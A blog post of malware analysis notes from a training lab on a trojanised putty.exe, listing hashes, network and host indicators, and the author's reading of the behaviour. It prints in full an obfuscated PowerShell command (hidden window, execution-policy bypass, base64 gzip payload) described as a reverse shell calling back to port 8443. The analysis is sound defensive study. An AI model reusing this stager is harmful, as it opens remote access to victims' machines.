Malware Analysis Notes: Putty.exe

I finally was able to get back around to working on the PMAT course by, HuskyHacks and TCM Security . These are my notes from the SillyPutty challenge where we were asked to perform analysis on the putty.exe. I haven't looked into the walkthrough on this challenge yet, but I am confident that I am on the right track.

File Hashes:

Sha256: 0C82E654C09C8FD9FDF4899718EFA37670974C9EEC5A8FC18A167F93CEA6EE83\

Sha1: C6A97B63FBD970984B95AE79A2B2AEF5749EE463

Md5: 334A10500FEB0F3444BF2E86AB2E76DA

?

Entropy: 7.394 (Possibly packed?) ---- gzip compressed script within

Virus Total:

Trojan?

Submitted to VT on 2021-10-26 05:10:10 UTC

https://www.virustotal.com/gui/file/0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83/details


Analysis Post Detonation:

?Network Indicators:

No alt text provided for this image

PowerShell script is trying to reach out to: bonus2.corporatebonusapplication.local on port 8443

No alt text provided for this image

Windows backdoor making a call to a DNS server over HTTPS port 8443.

No alt text provided for this image

Was able to establish a connection via netcat, but it was unstable and closed after trying to inject commands.


Host Based Indicators:

PowerShell is run as a child process to putty.exe. It is running the command which is base64 encoded and gzip compressed:?


powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"


The script looks like it sets up a reverse shell?on port 8443 (alternative https), it then prepares the network stream for communication, performing encryption and authentication if need be. It can then execute code or download a second stage from the remote server.

Script De-obfuscated:

No alt text provided for this image
No alt text provided for this image



Daniel McNally

Cybersecurity and Information Assurance Analyst

1 年

I am not allowed to edit this, but I believe that the reverse shell was unstable because there was no TLS certificate exchange between clients/servers. I also misspoke and called the Powershell script a command.

回复

要查看或添加评论,请登录

Daniel McNally的更多文章

  • Project 1 - DVWA

    Project 1 - DVWA

    During the latest FXBG Hackers meeting, a newcomer attended for the second time. He expressed an interest in…

  • Security Analyst Notes: Things to Remember

    Security Analyst Notes: Things to Remember

    Over the last two years during my training, I've been taking notes along the way on all different topics that have been…

    7 条评论
  • PyScript Domains > 72 Char.

    PyScript Domains > 72 Char.

    Last night I was reading one of the go-to blue team compendiums, Blue Team Handbook, by Don Murdoch and it was going…

    1 条评论
  • Snort 3 vs MiTM Attacks

    Snort 3 vs MiTM Attacks

    Executive Summary: There are pros and cons when using Snort's Intrusion Prevention and Intrusion Detection System…

  • Manual Log Parsing with Cut, AWK and Python

    Manual Log Parsing with Cut, AWK and Python

    This will be a quick tutorial aimed at people who are infosec newbies or are new to Linux in general that are…

    1 条评论
  • Blue Team CTF: Warzone 1

    Blue Team CTF: Warzone 1

    To continue to work on my ability to parse logs and sniff out possible IOC's, I will be tackling another blue team CTF…

  • Splunk BOTSv3 AWS & WINEvent

    Splunk BOTSv3 AWS & WINEvent

    AWS S3 Bucket Challenge Today I will be finishing up my Splunk course with 2 more blue team CTFs. The first challenge…

    1 条评论
  • Splunk BOTSv3 Web & OneDrive

    Splunk BOTSv3 Web & OneDrive

    The past week I’ve been spending most of my time trying to complete a Splunk learning path to gain an understanding of…

  • CTF: SNORT Basics Pt. 1

    CTF: SNORT Basics Pt. 1

    Today I will be running through a blue team CTF focused on using the IDS/IPS Snort. Snort can be used both passively…

    5 条评论
  • Malware Stager Deobfuscation

    Malware Stager Deobfuscation

    During a recent challenge, I received an obfuscated malware stager that was a PowerShell script that needed…

社区洞察

其他会员也浏览了